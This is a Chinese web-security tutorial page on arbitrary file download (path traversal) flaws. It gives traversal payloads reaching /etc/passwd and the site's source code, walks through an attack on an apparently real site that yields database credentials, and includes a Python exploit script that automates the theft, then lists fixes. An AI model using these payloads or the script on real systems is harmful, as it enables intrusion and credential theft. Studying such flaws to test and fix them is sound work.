Web安全(任意文件下载)
任意文件下载漏洞
一 . 漏洞原理
任意文件下载 , 顾名思义 , 就是可以下载网站上面的任意文件.
一些网站提供文件下载的功能,但是如果对下载的文件没有做限制,直接通过绝对路径对其文件进行下载,那么,就可以利用这种方式下载服务器的其他文件。
二 .漏洞危害
危害大概可以分为两类:
1. 下载网站源码
2. 查看网站敏感文件( 数据库账户密码,配置文件等等 )
3. 如果获得了数据库账户密码,且对方网站开启了PHPmyadmin(Web端管理数据库),可登入后直接Getshell
三 . 可能出现的参数汇总
从url中看,以下参数容易出现任意文件下载漏洞
download.php?path=
download.php?file=
down.php?file=
data.php?file=
四 . 漏洞验证
比如URL : www.xxxx/download.php?path=/test/test.txt
- 在路径中加入 /a/…/来测试 ,因为我们多了一个路径,又返回到了上层,对结果不影响.看网站返回是否和之前一致
www.xxxx/download.php?path=/test/a/../test.txt
- 替换路径为 ./…/…/…/…/…/etc/passwd (Linux OS,提示: …/可以尽量多,对最终结果不影响)
www.xxxx/download.php?path=./../../../../../etc/passwd
- 直接下载路径前面的源代码: download.php?path=./download.php , 看是否可以下载下来
www.xxxx/download.php?path=./download.php
五. 漏洞实例
- 这里我们实战演示,首先找到下载的功能点 : 下载链接如下:
http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.docx&fname=孤狗少年
- 重点来看其下载的路径:
download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.doc
这里它是通过绝对路径直接下载的,那么既有可能存在任意文件下载漏洞.
3. 漏洞验证:
这里我们将fpath后面的路径改为download.php测试:
download.php?fpath=./download.php
可以看到直接下载了download.php源代码,说明存在任意文件下载. 这里我们通过得到代码里面的信息再进一步获取其敏感信息
这里我们看到了 jasonwang826/jasonwang826.inc ,换路径,接着干
再来读取 JPDO.ini
这里读取不到了,这是常见的一种问题.原因很大就是路径不对.这里我们把JPDO.ini跟到jasonwang826/后面看看
果然,成功读取到数据库账户密码! biu特否
六. 漏洞利用Exp
import requests
import re
"""@ 模拟手工过程一步步获取相关文件并访问@ 注: 本代码仅供学习参考,请勿非法用途
"""
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}def check():# 通过添加在路径里面添加 a/../来测试是否存在任意文件下载漏洞url = "http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"url2 = "http://xxxx/download.php?fpath=/jasonwang826-data/a/../sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"req = requests.get(url=url,headers=headers)req2 = requests.get(url=url2,headers=headers)if req.status_code == req2.status_code:print("该网站存在任意文件下载漏洞")exp()else:print("该网站不存在任意文件下载漏洞")def exp():url = "http://xxxx/download.php?fpath=download.php&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"req = requests.get(url=url,headers=headers)# print(req.text)# 正则匹配代码中包含的配置文件result = re.findall(r"require_once '(.*?)';", req.text, re.S | re.M)print("第一次读取到的目录为:",result[0])url2 = f"http://xxxx/download.php?fpath={result[0]}"print("开始读取:",url2)req2 = requests.get(url=url2,headers=headers)# print(req2.text)result2 = re.findall(r".'/(.*?)'", req2.text, re.S | re.M)print("第二次读取到的目录为:",result2[3])url3 = f"http://xxxx/download.php?fpath=jasonwang826/{result2[3]}" # 路径在jasonwang826/下print("开始读取:",url3)req3 = requests.get(url=url3,headers=headers)print("读取成功,网站敏感信息如下:")print(req3.text)if __name__ == '__main__':check()
最终结果:
七. 漏洞修复
- 下载路径设置不可控,而是程序自动生成后保存在数据库中,根据ID进行下载
- 对参数做严格的过滤,比如禁止…/等符号.不让其进行目录遍历
Web安全(任意文件下载)相关推荐
- CTF web题总结--任意文件下载
代码: @main.route('/static/<regex(".*"):file>') def handle_static_file(file):if file.s ...
- 【安全漏洞】一次前台任意文件下载漏洞挖掘
1.起因 日常闲逛,翻到了某后台系统 先是日常手法操作了一番,弱口令走起 admin/123456 yyds! U1s1,这个后台功能点少的可怜,文件上传点更是别想 不过那个备份管理的界面引起了我的兴 ...
- (原创)浅谈任意文件下载漏洞的利用
文章写的一般,如果有错误的地方,请指教~ 0x01 任意文件下载常见利用方式 0x02 信息收集部分 0x03 代码审计部分 0x04 总结 0x01 前言 在web语言中,php和java常常会产生 ...
- tomcat temp 大量 upload 文件_原创 | 浅谈URI中的任意文件下载
点击上方蓝字 关注我吧引言 文件下载是比较常见的业务.常见的接口格式为/download?fileName=xxx.png,整个过程若没过滤目录穿越符号-/或者未对下载的路径进行处理限制.当传入的fi ...
- 任意文件下载漏洞知识点
文章目录 资料下载 任意文件下载 漏洞描述 利用条件 漏洞危害 漏洞发现 链接上 参数上 案例 漏洞利用 利用原理 windows路径 linux路径 修复建议 摘抄 资料下载 点击 下载 https ...
- 任意文件下载(读取)
目录 漏洞简介 产生原因 漏洞利用 常见敏感文件路径 Windows系统 Linux系统 Web应用 PHP ASP ASPX JSP 漏洞利用方法 注意事项 漏洞测试 漏洞简介 一些网站由于业务需求 ...
- 金蝶协同办公平台任意文件下载漏洞(无需登录)
经测试发现,该系统存在任意文件下载,且无需登录 存在漏洞的文件: /oa/admin/application/file_download.jsp?filePath=http://x.x.x.x:789 ...
- 任意文件下载、文件读取
目录 简介 危害 脑图 利用条件 测试思路 靶机测试 安装 Example 1 Example 2 Example 3 CMS测试 安装 利用过程 实战-1 FOFA 漏洞复现 实战-2 分析 漏洞修 ...
- 关于任意文件下载及上传漏洞
文章目录 任意文件读取下载 1.原理 2.利用方式 3.漏洞修复 4.实例 任意文件上传 1.原理 2.分类 3.基本思路 4.基本绕过方式 1.客户端检测绕过(javascript 检测) 2.服务 ...
最新文章
- 职场潜规则:领导常说的10句话,学会3句以上你不会混的太差!
- spring boot 中启用 https
- 自制WiFiPineapple
- Raft与MongoDB复制集协议比较
- element-ui的表单校验;el-form表单校验;el-form表单自定义校验;手机号校验;车牌号校验;车牌号正则校验;
- oracle 创建更新定时任务,oracle 创建定时任务
- 阿里云服务器ip:端口号无法访问
- 合格前端系列第九弹-前端面试那些事
- 【唐宇迪】神经网络原理解读与整体架构
- 教你如何关闭445端口
- discuz制作自己的门户列表模板
- [翻译]X窗口管理器的原理剖析(一)
- HugePages 大内存页
- APP性能测试——内存测试
- 要装系统就装WINDOWSXPSP3VL正式版操作系统
- 泰山众筹如何实现用户主动裂变?
- W7计算机名称原名,w7系统版本名称与区别
- Win11打开安卓子系统步骤,所遇到的问题,以及解决办法
- CodeForces 366C Dima and Salad (背包dp)
- \0 的ASCII码值是多少